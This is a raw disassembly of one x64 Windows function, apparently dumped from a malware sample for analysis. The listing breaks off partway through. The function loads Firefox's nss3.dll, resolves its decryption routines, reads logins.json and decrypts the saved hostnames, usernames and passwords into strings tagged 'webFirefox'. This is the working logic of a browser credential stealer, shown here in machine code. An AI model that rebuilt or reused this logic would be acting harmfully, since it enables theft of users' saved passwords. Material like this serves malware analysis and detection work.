Function at 0x180092ec0
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3b8]
sub rsp, 0x4b8
mov rax, qword [0x18012a010]
xor rax, rsp
mov qword [rbp + 0x3a8], rax
mov r14, rcx
mov qword [rsp + 0x38], rcx
xor r13d, r13d
mov qword [rsp + 0x30], rdx
lea rcx, [rbp + 0x1c0]
mov qword [rbp + 0x2b0], r13
mov byte [rbp + 0x2a0], r13b
mov r15, r9
mov r12, r8
mov qword [rbp + 0x2b8], 0xf
mov rsi, rdx
call fcn.1800c2a30
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x180092f3b
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rdi, rax
cmp rdx, 0x10
jb 0x180092f8b
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180092f86
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180094640
mov rcx, r8
call fcn.1800cff50
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r13b
test rdi, rdi
jne 0x1800930e2
xor r8d, r8d
mov qword [r14 + 0x10], r13
lea rdx, [0x18010e0e0]
mov qword [r14 + 0x18], 0xf
mov rcx, r14
mov byte [r14], r13b
call fcn.1800c30f0
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0x10
jb 0x180093005
mov rcx, qword [rbp + 0x2a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093000
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009463a
call fcn.1800cff50
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x18009303f
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x18009303a
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009463a
mov rcx, r8
call fcn.1800cff50
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], 0xf
mov byte [rsi], r13b
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x18009308a
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x180093085
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009463a
mov rcx, r8
call fcn.1800cff50
mov qword [r12 + 0x10], r13
mov qword [r12 + 0x18], 0xf
mov byte [r12], r13b
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x1800930d6
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x1800930d1
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x18009463a
mov rcx, r8
call fcn.1800cff50
mov qword [r15 + 0x10], r13
mov byte [r15], r13b
jmp 0x180094606
lea rdx, str.NSS_Init
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rdi
mov qword [0x18012fab0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rdi
mov qword [0x18012faf0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rdi
mov qword [0x18012fad8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rdi
mov qword [0x18012faa8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rdi
mov qword [0x18012fa30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rdi
mov qword [0x18012fac8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, qword [r12 + 0x10]
xor edi, edi
mov qword [0x18012fa78], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 0xf
lea rdx, [r8 + 0xc]
mov byte [rsp + 0x40], dil
cmp rdx, 0xf
jbe 0x1800931bb
lea rcx, [rsp + 0x40]
call fcn.1800c9530
mov r8, qword [r12 + 0x10]
mov qword [rsp + 0x50], rdi
cmp qword [r12 + 0x18], 0x10
mov rdx, r12
jb 0x1800931ca
mov rdx, qword [r12]
lea rcx, [rsp + 0x40]
call fcn.1800c2860
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rsp + 0x40]
call fcn.1800c2860
cmp qword [rsp + 0x58], 0x10
lea rcx, [rsp + 0x40]
lea rdx, [0x180118cb0]
cmovae rcx, qword [rsp + 0x40]
call fcn.1800dbe68
test rax, rax
je 0x180093219
mov rcx, rax
call fcn.1800dbef8
mov bl, 1
jmp 0x18009321b
xor bl, bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x180093258
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093253
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094646
call fcn.1800cff50
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], dil
test bl, bl
je 0x180094500
cmp qword [r12 + 0x18], 0x10
mov rcx, r12
jb 0x180093282
mov rcx, qword [r12]
call qword [0x18012fab0]
mov rdx, r12
lea rcx, [rbp + 0x1e0]
call fcn.1800c2a30
mov rcx, rax
call fcn.180092260
mov r13, 0xffffffffffffffff
mov qword [rbp + 0x230], rdi
mov r8, r13
mov qword [rbp + 0x238], 0xf
mov byte [rbp + 0x220], dil
inc r8
cmp byte [rax + r8], dil
jne 0x1800932c2
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.1800c30f0
cmp qword [rbp + 0x230], rdi
jbe 0x1800944bf
xorps xmm0, xmm0
lea rdx, str._hostname_:_______
xor eax, eax
lea rcx, [rbp + 0x380]
movups xmmword [rbp + 0x380], xmm0
mov qword [rbp + 0x3a0], rax
movups xmmword [rbp + 0x390], xmm0
call fcn.1800c1bb0
xorps xmm0, xmm0
lea rdx, str._encryptedUsername_:_______
xor eax, eax
lea rcx, [rbp + 0x358]
movups xmmword [rbp + 0x358], xmm0
mov qword [rbp + 0x378], rax
movups xmmword [rbp + 0x368], xmm0
call fcn.1800c1bb0
xorps xmm0, xmm0
lea rdx, str._encryptedPassword_:_______
xor eax, eax
lea rcx, [rbp + 0x330]
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x350], rax
movups xmmword [rbp + 0x340], xmm0
call fcn.1800c1bb0
mov rdx, qword [rbp + 0x238]
lea rbx, [rbp + 0x220]
mov rax, qword [rbp + 0x220]
xorps xmm0, xmm0
mov r14d, 0xf
mov qword [rbp + 0x250], rdi
cmp rdx, 0x10
mov byte [rbp + 0x240], dil
mov qword [rbp + 0x290], rdi
mov esi, r14d
mov byte [rbp + 0x280], dil
cmovae rbx, rax
mov qword [rbp + 0x270], rdi
mov edi, r14d
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x258], r14
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x298], r14
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x278], r14
movups xmmword [rbp + 0x2f0], xmm0
mov byte [rbp + 0x260], 0
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x310], xmm0
movups xmmword [rbp + 0x320], xmm0
nop word [rax + rax]
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rbp + 0x230]
lea rcx, [rbp + 0x220]
cmovae rcx, rax
lea r9, [rbp + 0x380]
add rdx, rcx
lea r8, [rbp + 0x2c0]
mov rcx, rbx
call fcn.1800c89a0
test al, al
je 0x18009423a
mov rcx, qword [rbp + 0x2d8]
movabs rdi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0x2d0]
mov rax, rdi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x318]
cmp rdx, 1
jbe 0x18009348c
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x18009349b
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
jmp 0x1800934a3
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov rdx, qword [rbp]
xor r14d, r14d
mov r8, qword [rbp + 8]
mov eax, 0xf
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], rax
mov byte [rbp - 0x20], r14b
cmp rdx, r8
je 0x1800934d4
sub r8, rdx
lea rcx, [rbp - 0x20]
call fcn.1800c30f0
mov rax, qword [rbp - 8]
cmp rax, 0x10
lea rcx, [rbp - 0x20]
cmovae rcx, qword [rbp - 0x20]
call fcn.180092da0
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x1800934f0
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.1800c30f0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x180093543
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009353e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009464c
call fcn.1800cff50
cmp qword [rbp + 0x238], 0x10
lea rcx, [rbp + 0x220]
mov rdx, qword [rbp + 0x230]
lea r9, [rbp + 0x358]
cmovae rcx, qword [rbp + 0x220]
lea r8, [rbp + 0x2c0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800c89a0
mov rcx, qword [rbp + 0x2d8]
mov rax, rdi
mov r8, qword [rbp + 0x2d0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x318]
cmp rdx, 1
jbe 0x1800935b5
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r14b
je 0x1800935c4
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
jmp 0x1800935cc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], r14b
cmp rdx, r8
je 0x180093601
sub r8, rdx
lea rcx, [rbp + 0xe0]
call fcn.1800c30f0
lea rcx, [rbp + 0xe0]
call fcn.180092bd0
mov rcx, rax
call fcn.180092da0
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x180093620
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.1800c30f0
cmp qword [rbp + 0x238], 0x10
lea rcx, [rbp + 0x220]
mov rdx, qword [rbp + 0x230]
lea r9, [rbp + 0x330]
cmovae rcx, qword [rbp + 0x220]
lea r8, [rbp + 0x2c0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800c89a0
mov rcx, qword [rbp + 0x2d8]
mov rax, rdi
mov r8, qword [rbp + 0x2d0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x318]
cmp rdx, 1
jbe 0x1800936aa
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r14b
je 0x1800936b9
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
jmp 0x1800936c1
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x28]
mov qword [rbp + 0x110], r14
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], r14b
cmp rdx, r8
je 0x1800936f6
sub r8, rdx
lea rcx, [rbp + 0x100]
call fcn.1800c30f0
lea rcx, [rbp + 0x100]
call fcn.180092bd0
mov rcx, rax
call fcn.180092da0
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x180093710
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.1800c30f0
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x200]
call fcn.1800c2a30
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.18008ac60
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x180093757
mov rcx, qword [rax]
cmp qword [rax + 0x10], 0x20
jne 0x180093779
mov r8d, 0x20
lea rdx, str.397a1dad0e0212119274178e7e4cc080
call fcn.1800d4720
test eax, eax
jne 0x180093779
mov dil, 1
jmp 0x18009377c
xor dil, dil
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x1800937bd
mov rcx, qword [rbp + 0x1a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800937b8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094652
call fcn.1800cff50
test dil, dil
je 0x1800937f4
mov r8d, 1
lea rdx, [0x180112328]
lea rcx, [rbp + 0x280]
call fcn.1800c30f0
mov r8d, 1
lea rdx, [0x180112328]
lea rcx, [rbp + 0x260]
call fcn.1800c30f0
mov r8d, 9
mov qword [rbp + 0x50], r14
cmp qword [rbp + 0x250], r8
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x40]
mov qword [rbp + 0x58], 0xf
cmovb r8, qword [rbp + 0x250]
cmp qword [rbp + 0x258], 0x10
mov byte [rbp + 0x40], r14b
cmovae rdx, qword [rbp + 0x240]
call fcn.1800c30f0
mov rdx, qword [rbp + 0x58]
lea rax, [rbp + 0x40]
mov rcx, qword [rbp + 0x40]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rbp + 0x50], 9
jne 0x18009386e
movabs r8, 0x2f3a656d6f726863
cmp qword [rax], r8
jne 0x18009386e
cmp byte [rax + 8], 0x2f
jne 0x18009386e
xor dil, dil
jmp 0x180093871
mov dil, 1
cmp rdx, 0x10
jb 0x1800938a4
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009389f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094670
call fcn.1800cff50
test dil, dil
je 0x1800941a1
mov rax, qword [r15 + 0x18]
mov rcx, r15
cmp rax, 0x10
jb 0x1800938bd
mov rcx, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x180093d54
cmp byte [rcx], 0x30
jne 0x180093d54
mov rdi, qword [rbp + 0x250]
mov rcx, rax
mov r14, qword [rbp + 0x290]
mov rsi, qword [rbp + 0x270]
test rdi, rdi
je 0x180093d6c
test r14, r14
je 0x180093d6c
test rsi, rsi
je 0x180093d6c
lea rdx, [rdi + 1]
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
cmp rdx, 0x10
jb 0x180093933
lea rcx, [rbp - 0x60]
call fcn.1800c9530
mov qword [rbp - 0x50], 0
mov r8d, 1
lea rdx, [0x180118d10]
lea rcx, [rbp - 0x60]
call fcn.1800c2860
cmp qword [rbp + 0x258], 0x10
lea rdx, [rbp + 0x240]
mov r8, rdi
lea rcx, [rbp - 0x60]
cmovae rdx, qword [rbp + 0x240]
call fcn.1800c2860
mov r8d, 1
lea rdx, [0x180118d0c]
lea rcx, [rbp - 0x60]
call fcn.1800c2860
xor edi, edi
lea rdx, [rbp + 0x120]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x120], xmm0
mov byte [rax], dil
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x130], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x2a0]
call fcn.1800c2860
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x180093a1c
mov rcx, qword [rbp + 0x120]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093a17
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094658
call fcn.1800cff50
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x180093a57
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093a52
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094658
call fcn.1800cff50
lea rdx, [r14 + 1]
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], dil
cmp rdx, 0x10
jb 0x180093a7e
lea rcx, [rbp - 0x40]
call fcn.1800c9530
mov qword [rbp - 0x30], rdi
mov r8d, 1
lea rdx, [0x180118d10]
lea rcx, [rbp - 0x40]
call fcn.1800c2860
cmp qword [rbp + 0x298], 0x10
lea rdx, [rbp + 0x280]
mov r8, r14
lea rcx, [rbp - 0x40]
cmovae rdx, qword [rbp + 0x280]
call fcn.1800c2860
mov r8d, 1
lea rdx, [0x180118d0c]
lea rcx, [rbp - 0x40]
call fcn.1800c2860
lea rdx, [rbp + 0x140]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x140], xmm0
mov byte [rax], dil
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x150], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x2a0]
call fcn.1800c2860
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x180093b65
mov rcx, qword [rbp + 0x140]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093b60
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009465e
call fcn.1800cff50
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x180093ba0
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093b9b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009465e
call fcn.1800cff50
lea rdx, [rsi + 1]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], dil
cmp rdx, 0x10
jb 0x180093bcc
lea rcx, [rsp + 0x60]
call fcn.1800c9530
mov qword [rsp + 0x70], rdi
mov r8d, 1
lea rdx, [0x180118d10]
lea rcx, [rsp + 0x60]
call fcn.1800c2860
cmp qword [rbp + 0x278], 0x10
lea rdx, [rbp + 0x260]
mov r8, rsi
lea rcx, [rsp + 0x60]
cmovae rdx, qword [rbp + 0x260]
call fcn.1800c2860
mov r8d, 1
lea rdx, [0x180118d0c]
lea rcx, [rsp + 0x60]
call fcn.1800c2860
lea rdx, [rbp + 0x160]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x160], xmm0
mov byte [rax], dil
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x170], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x2a0]
call fcn.1800c2860
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x180093cb6
mov rcx, qword [rbp + 0x160]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093cb1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094664
call fcn.1800cff50
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x180093cf3
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093cee
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094664
call fcn.1800cff50
mov r8d, 1
lea rdx, [0x18010f0fc]
lea rcx, [rbp + 0x2a0]
call fcn.1800c2860
xor r8d, r8d
lea rdx, [0x18010e0e0]
lea rcx, [rbp + 0x240]
call fcn.1800c30f0
xor r8d, r8d
lea rdx, [0x18010e0e0]
lea rcx, [rbp + 0x280]
call fcn.1800c30f0
xor r8d, r8d
lea rdx, [0x18010e0e0]
lea rcx, [rbp + 0x260]
call fcn.1800c30f0
mov rcx, qword [r15 + 0x18]
jmp 0x180093d57
mov rcx, rax
mov rsi, qword [rbp + 0x270]
mov r14, qword [rbp + 0x290]
mov rdi, qword [rbp + 0x250]
mov rax, r15
cmp rcx, 0x10
jb 0x180093d78
mov rax, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x18009419b
cmp byte [rax], 0x31
jne 0x18009419b
test rdi, rdi
je 0x18009419b
test r14, r14
je 0x18009419b
test rsi, rsi
je 0x18009419b
lea rdx, [rdi + 0xc]
mov qword [rbp - 0x70], 0
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
cmp rdx, 0x10
jb 0x180093dd6
lea rcx, [rbp - 0x80]
call fcn.1800c9530
mov qword [rbp - 0x70], 0
mov r8d, 0xc
lea rdx, str.webFirefox
lea rcx, [rbp - 0x80]
call fcn.1800c2860
cmp qword [rbp + 0x258], 0x10
lea rdx, [rbp + 0x240]
mov r8, rdi
lea rcx, [rbp - 0x80]
cmovae rdx, qword [rbp + 0x240]
call fcn.1800c2860
mov r8d, 1
lea rdx, [0x180118d18]
lea rcx, [rbp - 0x80]
call fcn.1800c2860
cmp qword [rbp + 0x298], 0x10
lea rdx, [rbp + 0x280]
mov r8, r14
lea rcx, [rbp + 0xc0]
cmovae rdx, qword [rbp + 0x280]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c2860
xor r14d, r14d
lea rdx, [0x180118d18]
lea rcx, [rbp + 0xa0]
movups xmm0, xmmword [rax]
lea r8d, [r14 + 1]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
call fcn.1800c2860
cmp qword [rbp + 0x278], 0x10
lea rdx, [rbp + 0x260]
mov r8, rsi
lea rcx, [rbp + 0x80]
cmovae rdx, qword [rbp + 0x260]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
call fcn.1800c2860
lea r8d, [r14 + 3]
lea rdx, [0x180118d14]
lea rcx, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
call fcn.1800c2860
lea rdx, [rbp + 0x180]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x180], xmm0
mov byte [rax], r14b
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x190], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x2a0]
call fcn.1800c2860
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x180093fc5
mov rcx, qword [rbp + 0x180]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093fc0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009466a
call fcn.1800cff50
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x180094000
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093ffb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009466a
call fcn.1800cff50
mov rdx, qword [rbp + 0x98]
mov qword [rbp + 0x70], r14
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], r14b
cmp rdx, 0x10
jb 0x180094051
mov rcx, qword [rbp + 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009404c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009466a
call fcn.1800cff50
mov rdx, qword [rbp + 0xb8]
mov qword [rbp + 0x90], r14
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], r14b
cmp rdx, 0x10
jb 0x1800940ab
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800940a6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009466a
call fcn.1800cff50
mov rdx, qword [rbp + 0xd8]
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], r14b
cmp rdx, 0x10
jb 0x180094105
mov rcx, qword [rbp + 0xc0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180094100
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009466a
call fcn.1800cff50
mov rdx, qword [rbp - 0x68]
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], r14b
cmp rdx, 0x10
jb 0x180094159
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180094154
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009466a
call fcn.1800cff50
xor r8d, r8d
lea rdx, [0x18010e0e0]
lea rcx, [rbp + 0x240]
call fcn.1800c30f0
xor r8d, r8d
lea rdx, [0x18010e0e0]
lea rcx, [rbp + 0x280]
call fcn.1800c30f0
xor r8d, r8d
lea rdx, [0x18010e0e0]
lea rcx, [rbp + 0x260]
call fcn.1800c30f0
inc dword [0x18012faf8]
mov r8, qword [rbp + 0x2d0]
movabs rax, 0x2aaaaaaaaaaaaaab
mov rcx, qword [rbp + 0x2d8]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x318]
cmovne rax, r8
mov rcx, qword [rax]
lea rax, [rbp + 0x318]
sub rcx, qword [rbp + 0x2c0]
test rdx, rdx
cmovne rax, r8
cmp byte [rax + 0x10], 0
je 0x1800941ff
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
jmp 0x180094207
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
sub rcx, qword [rbp + 0x30]
add rcx, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x238]
add rbx, rcx
mov rax, qword [rbp + 0x220]
mov r14, qword [rbp + 0x258]
mov rsi, qword [rbp + 0x298]
mov rdi, qword [rbp + 0x278]
jmp 0x180093410
call qword [0x18012fa78]
cmp rdi, 0x10
jb 0x18009427b
mov rcx, qword [rbp + 0x260]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180094276
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094670
call fcn.1800cff50
cmp rsi, 0x10
jb 0x1800942b6
mov rcx, qword [rbp + 0x280]
lea rdx, [rsi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800942b1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094670
call fcn.1800cff50
cmp r14, 0x10
jb 0x1800942f1
mov rcx, qword [rbp + 0x240]
lea rdx, [r14 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800942ec
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
